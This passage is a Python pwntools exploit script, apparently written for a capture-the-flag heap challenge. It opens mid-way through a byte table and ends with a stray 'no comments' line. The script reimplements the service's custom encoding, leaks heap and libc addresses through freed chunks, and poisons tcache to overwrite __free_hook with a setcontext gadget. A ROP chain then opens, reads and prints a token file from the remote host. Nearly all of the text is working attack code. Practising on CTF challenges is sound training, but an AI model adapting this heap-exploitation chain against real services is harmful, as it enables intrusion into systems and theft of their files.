0x33, 0xc5, 0x3b, 0x53, 0x5f, 0xa8, 0x5d, 0x4b, 0x6d, 0x22, 0x63, 0x5d, 0x3c, 0xbd, 0x47, 0x6d,
0x22, 0x3f, 0x38, 0x4b, 0x7a, 0x4c, 0xb8, 0xcc, 0xb8, 0x37, 0x78, 0x17, 0x73, 0x23, 0x27, 0x71,
0xb1, 0xc7, 0xa6, 0xd1, 0xa0, 0x48, 0x21, 0xc4, 0x1b, 0x0a, 0xad, 0xc9, 0xa5, 0xe6, 0x14, 0x18,
0xfc, 0x7b, 0x53, 0x59, 0x8b, 0x0d, 0x07, 0xcd, 0x07, 0xcc, 0xbc, 0xa5, 0xe0, 0x28, 0x0e, 0xf9,
0x31, 0xc8, 0xed, 0x78, 0xf4, 0x75, 0x60, 0x65, 0x52, 0xb4, 0xfb, 0xbf, 0xac, 0x6e, 0xea, 0x5d,
0xca, 0x0d, 0xb5, 0x66, 0xac, 0xba, 0x06, 0x30, 0x95, 0xf4, 0x96, 0x42, 0x7a, 0x7f, 0x58, 0x6d,
0x83, 0x8e, 0xf6, 0x61, 0x7c, 0x0e, 0xfd, 0x09, 0x6e, 0x42, 0x6b, 0x1e, 0xb9, 0x14, 0x22, 0xf6,
0x16, 0xd2, 0xd2, 0x60, 0x29, 0x23, 0x32, 0x9e, 0xb4, 0x82, 0xee, 0x58, 0x3a, 0x7d, 0x1f, 0x74,
0x98, 0x5d, 0x17, 0x64, 0xe4, 0x6f, 0xf5, 0xad, 0x94, 0xaa, 0x89, 0xe3, 0xbe, 0x98, 0x91, 0x38,
0x70, 0xec, 0x2f, 0x5e, 0x9f, 0xc9, 0xb1, 0x26, 0x3a, 0x64, 0x48, 0x13, 0xf1, 0x1a, 0xc5, 0xd5,
0xe5, 0x66, 0x11, 0x11, 0x3a, 0xaa, 0x79, 0x45, 0x42, 0xb4, 0x57, 0x9d, 0x3f, 0xbc, 0xa3, 0xaa,
0x98, 0x4e, 0x6b, 0x7a, 0x4a, 0x2f, 0x3e, 0x10, 0x7a, 0xc5, 0x33, 0x8d, 0xac, 0x0b, 0x79, 0x33,
0x5d, 0x09, 0xfc, 0x9d, 0x9b, 0xe5, 0x18, 0xcd, 0x1c, 0x7c, 0x8b, 0x0a, 0xa8, 0x95, 0x56, 0xcc,
0x4e, 0x34, 0x31, 0x33, 0xf5, 0xc1, 0xf5, 0x03, 0x0a, 0x4a, 0xb4, 0xd1, 0x90, 0xf1, 0x8f, 0x57,
0x20, 0x05, 0x0d, 0xa0, 0xcd, 0x82, 0xb3, 0x25, 0xd8, 0xd2, 0x20, 0xf3, 0xc5, 0x96, 0x35, 0x35,
]
def Encode(keys, data):
key_arr = []
raw_key = []
data_arr = []
for c in keys:
key_arr.append(c)
raw_key.append(c)
for c in data:
data_arr.append(c)
keys = key_arr
data = data_arr
for i in range(len(data)):
n = ((keys[i & 7] + keys[(i + 1) & 7]) * keys[(i + 2) & 7] + keys[(i + 3) & 7]) & 0xff
data[i] ^= n ^ XorTable[n]
keys[i & 7] = (n * 2 + 3) & 0xff
if((i & 0xf) == 0):
keys = KeyRandom(raw_key, XorTable[i & 0xff])
out = b''
for c in data:
out += c.to_bytes(1, byteorder='little')
return out
def KeyRandom(raw_key, seed):
out_key = []
for c in range(8):
out_key.append(0)
for i in range(8):
out_key[i] = (raw_key[i] ^ XorTable[raw_key[i]]) & 0xff;
out_key[i] ^= (seed + i) & 0xff;
return out_key
if(LOCAL == 0):
if(len(argv) < 3):
print('Usage: python2 ./exp.py [host] [port]')
exit(-1)
host = argv[1]
port = int(argv[2])
def add(size, text):
io.sendlineafter('$', 'add')
io.sendlineafter('?', str(size))
sleep(0.2)
io.send(text)
def delete(idx):
io.sendlineafter('$', 'del')
io.sendlineafter('?', str(idx))
def get(idx):
io.sendlineafter('$', 'get')
io.sendlineafter('?', str(idx))
def quit():
io.sendlineafter('$', 'exit')
def login(acc, pas):
io.sendlineafter('$', 'login')
io.sendlineafter(':', str(acc))
io.sendlineafter(':', str(pas))
def code(d):
a = 0
#--------------------------Exploit--------------------------
def exploit():
io.sendlineafter(':', 'team_test')
io.sendlineafter(':', 'i0gan')
#6b8b4567327b23c6
key = p64(0x6b8b4567327b23c6)
login(1000, 418894113)
add(0x320, '\n') # 0
add(0x320, '\n') # 1
delete(1)
delete(0)
add(0x320, '\n') # 0
get(0)
io.recvuntil('\n')
heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa
print('heap: ' + hex(heap))
delete(0)
add(0x500, '\n') # 0
add(0x500, '\n') # 1
delete(0)
add(0x500, '\n') # 0
get(0)
io.recvuntil('\n')
leak = u64(io.recv(6).ljust(8, b'\x00')) + 0x80 - 10
libc_base = leak - libc.sym['__malloc_hook'] - 0x10
print('leak: ' + hex(leak))
print('libc_base: ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 61
ret = libc_base + 0x25679
libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']
pop_rdi = libc_base + 0x26b72
pop_rsi = libc_base + 0x27529
pop_rdx_r12 = libc_base + 0x000000000011c371 # pop rdx ; pop r12 ; ret
gadget = libc_base + 0x154930 # local
add(0x80, '\n') # 2
add(0x20, '\n') # 3
b = 3
j = 20
for i in range(b, j):
add(0x20, 'AAA\n')
for i in range(b + 10, j):
delete(i)
add(0x98, Encode(key, b'AAA') + b'\n') # 13
add(0x500, Encode(key, b'AAA') + b'\n') # 14
add(0xa0, 'AAA\n') # 15
add(0xa0, 'AAA\n') # 16
add(0xa0, 'AAA\n') # 17
delete(13)
delete(17)
delete(16)
delete(15)
# releak heap
add(0xa8, b'\n') # 13
get(13)
io.recvuntil('\n')
heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x200 - 0x90 # remote
#heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x200 # local
delete(13)
p = b'\x00' + b'\x11' * 0x97
add(0x98, Encode(key, p) + b'\xc1') # 13
delete(14)
# 5c0
p = b'A' * 0x500
p += p64(0) + p64(0xb1)
p += p64(libc_base + libc.sym['__free_hook']) + p64(0)
add(0x5b0, Encode(key, p) + b'\n') # 14
# releak heap
add(0xa8, Encode(key, b"/bin/sh\x00") + b'\n') # 13
add(0xa8, Encode(key, p64(gadget)) + b'\n') # modify __free_hook as a gadget set rdi -> rdx
p = p64(1) + p64(heap) # set to rdx
p += p64(setcontext)
p = p.ljust(0x90, b'\x11')
p += p64(heap + 0xb0) # rsp
p += p64(ret) # rcx
rop = p64(pop_rdi) + p64(heap + 0xb0 + 0x98 + 0x18)
rop += p64(pop_rsi) + p64(0)
rop += p64(pop_rdx_r12) + p64(0) + p64(0)
rop += p64(libc_open)
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(heap)
rop += p64(pop_rdx_r12) + p64(0x80) + p64(0)
rop += p64(libc_read)
rop += p64(pop_rdi) + p64(1)
rop += p64(libc_write)
rop += p64(pop_rdi) + p64(0)
rop += p64(libc_read)
p += rop
p += b'./sky_token\x00'
add(0x800, Encode(key, p) + b'\n') # 13
#print('heap: ' + hex(heap))
print('get flag...')
print('heap: ' + hex(heap))
#gdb.attach(io)
delete(17)
if __name__ == '__main__':
if LOCAL:
exe = ELF(exeFile)
if LIBC:
libc = ELF(libFile)
io = exe.process()
#io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()
else:
exe = ELF(exeFile)
io = remote(host, port)
if LIBC:
libc = ELF(libFile)
exploit()
io.interactive()
没有评论